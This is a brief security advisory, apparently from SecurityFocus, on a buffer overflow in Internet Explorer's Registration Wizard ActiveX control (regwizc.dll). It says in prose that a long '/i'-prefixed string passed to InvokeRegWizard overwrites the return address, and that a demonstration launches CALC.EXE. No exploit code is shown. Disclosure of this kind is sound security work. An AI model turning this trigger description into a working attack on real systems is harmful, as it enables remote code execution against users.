source: http://www.securityfocus.com/bid/671/info


There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner. 

REGWIZC

The Registration Wizard control used by Microsoft to 
register MS products also contains a buffer overrun in 
the 'InvokeRegWizard' method. When called with a long 
string, pre-pended with '/i', we can gain control of the 
RET address and exploit the control in a similar manner as 
the PDF control. This exploit will cause a 'Regwiz.log' 
file to be created in the temporary directory, and once 
again will execute CALC.EXE and terminate the host.
